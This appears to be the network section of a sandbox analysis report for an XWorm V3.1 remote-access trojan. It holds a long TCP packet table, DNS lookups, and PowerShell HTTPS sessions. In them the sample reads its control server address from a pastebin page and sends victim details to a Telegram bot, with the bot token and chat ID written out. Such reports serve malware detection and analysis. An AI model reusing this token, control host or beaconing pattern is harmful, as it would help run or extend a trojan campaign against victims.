Aug 15, 2024 08:11:04.536185980 CEST	443	50853	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.543804884 CEST	50854	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.543816090 CEST	443	50854	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.543898106 CEST	50854	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.552828074 CEST	50854	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.552836895 CEST	443	50854	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.552865028 CEST	443	50854	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.556868076 CEST	50855	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.556896925 CEST	443	50855	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.556957006 CEST	50855	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.566131115 CEST	50855	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.566143036 CEST	443	50855	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.566176891 CEST	443	50855	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.571367979 CEST	50856	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.571376085 CEST	443	50856	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.571434021 CEST	50856	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.580308914 CEST	50856	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.580318928 CEST	443	50856	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.580348969 CEST	443	50856	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.587697029 CEST	50857	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.587707043 CEST	443	50857	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.587858915 CEST	50857	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.596575975 CEST	50857	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.596580982 CEST	443	50857	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.596612930 CEST	443	50857	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.603530884 CEST	50858	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.603539944 CEST	443	50858	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.603657961 CEST	50858	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.612037897 CEST	50858	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.612046003 CEST	443	50858	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.612073898 CEST	443	50858	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.617351055 CEST	50859	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.617362022 CEST	443	50859	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.617444038 CEST	50859	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.628407955 CEST	50859	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.628417015 CEST	443	50859	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.628448009 CEST	443	50859	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.635493040 CEST	50860	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.635503054 CEST	443	50860	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.635591030 CEST	50860	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.644491911 CEST	50860	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.644499063 CEST	443	50860	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.644531012 CEST	443	50860	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.652004957 CEST	50861	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.652019978 CEST	443	50861	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.652077913 CEST	50861	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.660342932 CEST	50861	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.660351038 CEST	443	50861	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.660381079 CEST	443	50861	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.667963028 CEST	50862	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.667970896 CEST	443	50862	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.668047905 CEST	50862	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.676706076 CEST	50862	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.676713943 CEST	443	50862	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.676739931 CEST	443	50862	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.680993080 CEST	50863	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.681004047 CEST	443	50863	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.681087971 CEST	50863	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.691376925 CEST	50863	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.691385031 CEST	443	50863	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.691414118 CEST	443	50863	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.699043036 CEST	50864	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.699076891 CEST	443	50864	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.699131966 CEST	50864	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.713088989 CEST	50864	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.713102102 CEST	443	50864	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.713136911 CEST	443	50864	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.717837095 CEST	50865	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.717871904 CEST	443	50865	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.717953920 CEST	50865	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.727232933 CEST	50865	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.727246046 CEST	443	50865	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.727274895 CEST	443	50865	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.731965065 CEST	50866	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.731975079 CEST	443	50866	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.732049942 CEST	50866	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.741099119 CEST	50866	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.741108894 CEST	443	50866	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.741142035 CEST	443	50866	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.748233080 CEST	50867	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.748255968 CEST	443	50867	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.748317957 CEST	50867	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.767225027 CEST	50867	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.767241955 CEST	443	50867	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.767302990 CEST	443	50867	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.777793884 CEST	50868	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.777827024 CEST	443	50868	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.777888060 CEST	50868	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.797858000 CEST	50868	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.797868967 CEST	443	50868	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.797913074 CEST	443	50868	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.806935072 CEST	50869	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.806957960 CEST	443	50869	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.807035923 CEST	50869	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.816508055 CEST	50869	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.816518068 CEST	443	50869	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.816549063 CEST	443	50869	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.820827961 CEST	50870	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.820837021 CEST	443	50870	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.825434923 CEST	50870	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.834958076 CEST	50870	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.834965944 CEST	443	50870	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.834995031 CEST	443	50870	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.839776039 CEST	50871	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.839791059 CEST	443	50871	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.845431089 CEST	50871	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.854026079 CEST	50871	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.854037046 CEST	443	50871	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.854070902 CEST	443	50871	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.861450911 CEST	50872	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.861460924 CEST	443	50872	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.861531019 CEST	50872	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.871248960 CEST	50872	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.871258974 CEST	443	50872	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.871296883 CEST	443	50872	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.880420923 CEST	50873	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.880439043 CEST	443	50873	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.880490065 CEST	50873	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.909507990 CEST	50873	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.909522057 CEST	443	50873	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.909557104 CEST	443	50873	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.916263103 CEST	50874	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.916275978 CEST	443	50874	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.916402102 CEST	50874	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.931674957 CEST	50874	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.931684971 CEST	443	50874	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.931720972 CEST	443	50874	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.942768097 CEST	50875	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.942785978 CEST	443	50875	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.942846060 CEST	50875	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.951420069 CEST	50875	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.951431036 CEST	443	50875	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.951469898 CEST	443	50875	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.955467939 CEST	50876	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.955482006 CEST	443	50876	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.955548048 CEST	50876	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.963030100 CEST	50876	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.963041067 CEST	443	50876	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.963069916 CEST	443	50876	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.967650890 CEST	50877	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.967663050 CEST	443	50877	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.967756987 CEST	50877	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.987919092 CEST	50877	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.987929106 CEST	443	50877	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.987967014 CEST	443	50877	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.995882988 CEST	50878	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.995896101 CEST	443	50878	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.995965958 CEST	50878	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.022480011 CEST	50878	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.022490025 CEST	443	50878	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.022527933 CEST	443	50878	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.028444052 CEST	50879	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.028462887 CEST	443	50879	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.028534889 CEST	50879	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.041835070 CEST	50879	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.041845083 CEST	443	50879	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.041896105 CEST	443	50879	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.051439047 CEST	50880	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.051544905 CEST	443	50880	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.055934906 CEST	50880	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.065063953 CEST	50880	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.065097094 CEST	443	50880	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.065131903 CEST	443	50880	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.071723938 CEST	50881	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.071805954 CEST	443	50881	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.071901083 CEST	50881	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.082566977 CEST	50881	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.082614899 CEST	443	50881	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.082643986 CEST	443	50881	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.088560104 CEST	50882	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.088599920 CEST	443	50882	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.088659048 CEST	50882	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.099941969 CEST	50882	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.100018024 CEST	443	50882	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.100064039 CEST	443	50882	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.105372906 CEST	50883	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.105410099 CEST	443	50883	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.105478048 CEST	50883	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.120965958 CEST	50883	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.121045113 CEST	443	50883	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.121083975 CEST	443	50883	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.126444101 CEST	50884	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.126524925 CEST	443	50884	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.126610994 CEST	50884	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.140985012 CEST	50884	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.141064882 CEST	443	50884	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.141115904 CEST	443	50884	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.148372889 CEST	50885	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.148468018 CEST	443	50885	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.148593903 CEST	50885	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.183816910 CEST	50885	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.183857918 CEST	443	50885	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.183895111 CEST	443	50885	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.188950062 CEST	50886	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.189029932 CEST	443	50886	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.189106941 CEST	50886	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.202649117 CEST	50886	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.202723026 CEST	443	50886	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.202764988 CEST	443	50886	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.210436106 CEST	50887	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.210515976 CEST	443	50887	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.210577965 CEST	50887	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.224134922 CEST	50887	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.224204063 CEST	443	50887	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.224252939 CEST	443	50887	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.228189945 CEST	50888	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.228270054 CEST	443	50888	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.228355885 CEST	50888	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.237498999 CEST	50888	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.237579107 CEST	443	50888	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.237652063 CEST	443	50888	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.243839979 CEST	50889	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.243933916 CEST	443	50889	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.247662067 CEST	50889	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.256892920 CEST	50889	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.256969929 CEST	443	50889	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.257009983 CEST	443	50889	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.261257887 CEST	50890	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.261337042 CEST	443	50890	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.261450052 CEST	50890	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.269944906 CEST	50890	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.270023108 CEST	443	50890	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.270059109 CEST	443	50890	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.274175882 CEST	50891	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.274256945 CEST	443	50891	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.274338007 CEST	50891	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.283314943 CEST	50891	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.283354998 CEST	443	50891	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.283389091 CEST	443	50891	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.287458897 CEST	50892	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.287501097 CEST	443	50892	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.287700891 CEST	50892	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.296467066 CEST	50892	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.296518087 CEST	443	50892	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.296545029 CEST	443	50892	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.300759077 CEST	50893	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.300839901 CEST	443	50893	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.300954103 CEST	50893	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.308994055 CEST	50893	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.309072971 CEST	443	50893	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.309114933 CEST	443	50893	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.313416958 CEST	50894	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.313498020 CEST	443	50894	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.313597918 CEST	50894	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.321894884 CEST	50894	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.321971893 CEST	443	50894	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.322016001 CEST	443	50894	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.326208115 CEST	50895	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.326287985 CEST	443	50895	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.326385021 CEST	50895	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.335464001 CEST	50895	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.335541010 CEST	443	50895	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.335580111 CEST	443	50895	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.339694977 CEST	50896	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.339776039 CEST	443	50896	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.343883038 CEST	50896	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.353039026 CEST	50896	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.353108883 CEST	443	50896	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.353147984 CEST	443	50896	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.360101938 CEST	50897	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.360184908 CEST	443	50897	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.363614082 CEST	50897	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.372788906 CEST	50897	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.372870922 CEST	443	50897	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.372924089 CEST	443	50897	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.393524885 CEST	50898	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:05.393606901 CEST	443	50898	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:05.393697023 CEST	50898	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:06.658260107 CEST	50898	443	192.168.2.4	94.141.120.29

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 15, 2024 08:09:18.390090942 CEST	65529	53	192.168.2.4	1.1.1.1
Aug 15, 2024 08:09:18.396970034 CEST	53	65529	1.1.1.1	192.168.2.4
Aug 15, 2024 08:09:19.503020048 CEST	52399	53	192.168.2.4	1.1.1.1
Aug 15, 2024 08:09:19.511528969 CEST	53	52399	1.1.1.1	192.168.2.4
Aug 15, 2024 08:09:24.043788910 CEST	59817	53	192.168.2.4	1.1.1.1
Aug 15, 2024 08:09:24.053196907 CEST	53	59817	1.1.1.1	192.168.2.4
Aug 15, 2024 08:10:24.006127119 CEST	60819	53	192.168.2.4	1.1.1.1
Aug 15, 2024 08:10:24.015228987 CEST	53	60819	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 15, 2024 08:09:18.390090942 CEST	192.168.2.4	1.1.1.1	0xb280	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false
Aug 15, 2024 08:09:19.503020048 CEST	192.168.2.4	1.1.1.1	0xcfe4	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Aug 15, 2024 08:09:24.043788910 CEST	192.168.2.4	1.1.1.1	0xd3e1	Standard query (0)	adsguarddns.redirectme.net	A (IP address)	IN (0x0001)	false
Aug 15, 2024 08:10:24.006127119 CEST	192.168.2.4	1.1.1.1	0x43d8	Standard query (0)	adsguarddns.redirectme.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Aug 15, 2024 08:09:18.396970034 CEST	1.1.1.1	192.168.2.4	0xb280	No error (0)	pastebin.com	172.67.19.24	A (IP address)	IN (0x0001)	false
Aug 15, 2024 08:09:18.396970034 CEST	1.1.1.1	192.168.2.4	0xb280	No error (0)	pastebin.com	104.20.4.235	A (IP address)	IN (0x0001)	false
Aug 15, 2024 08:09:18.396970034 CEST	1.1.1.1	192.168.2.4	0xb280	No error (0)	pastebin.com	104.20.3.235	A (IP address)	IN (0x0001)	false
Aug 15, 2024 08:09:19.511528969 CEST	1.1.1.1	192.168.2.4	0xcfe4	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)	false
Aug 15, 2024 08:09:24.053196907 CEST	1.1.1.1	192.168.2.4	0xd3e1	No error (0)	adsguarddns.redirectme.net	94.141.120.29	A (IP address)	IN (0x0001)	false
Aug 15, 2024 08:10:24.015228987 CEST	1.1.1.1	192.168.2.4	0x43d8	No error (0)	adsguarddns.redirectme.net	94.141.120.29	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

pastebin.com

api.telegram.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	172.67.19.24	443	8044	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-15 06:09:18 UTC	74	OUT	GET /raw/RC2EiWaF HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-08-15 06:09:19 UTC	388	IN	HTTP/1.1 200 OK Date: Thu, 15 Aug 2024 06:09:19 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: MISS Last-Modified: Thu, 15 Aug 2024 06:09:19 GMT Server: cloudflare CF-RAY: 8b3703dd7c23424a-EWR
2024-08-15 06:09:19 UTC	36	IN	Data Raw: 31 65 0d 0a 61 64 73 67 75 61 72 64 64 6e 73 2e 72 65 64 69 72 65 63 74 6d 65 2e 6e 65 74 3a 34 34 33 0d 0a Data Ascii: 1eadsguarddns.redirectme.net:443
2024-08-15 06:09:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49735	149.154.167.220	443	8044	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-15 06:09:20 UTC	328	OUT	GET /bot7014340212:AAH7pEXbcp-rOhGS8YVjIHjg0C8qlSDZSI4/sendMessage?chat_id=-1002233278906&text=%E2%98%A0%20%5BXWorm%20V3.1%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A318CC4CF7D59F1751A28%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-08-15 06:09:23 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 15 Aug 2024 06:09:23 GMT Content-Type: application/json Content-Length: 516 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
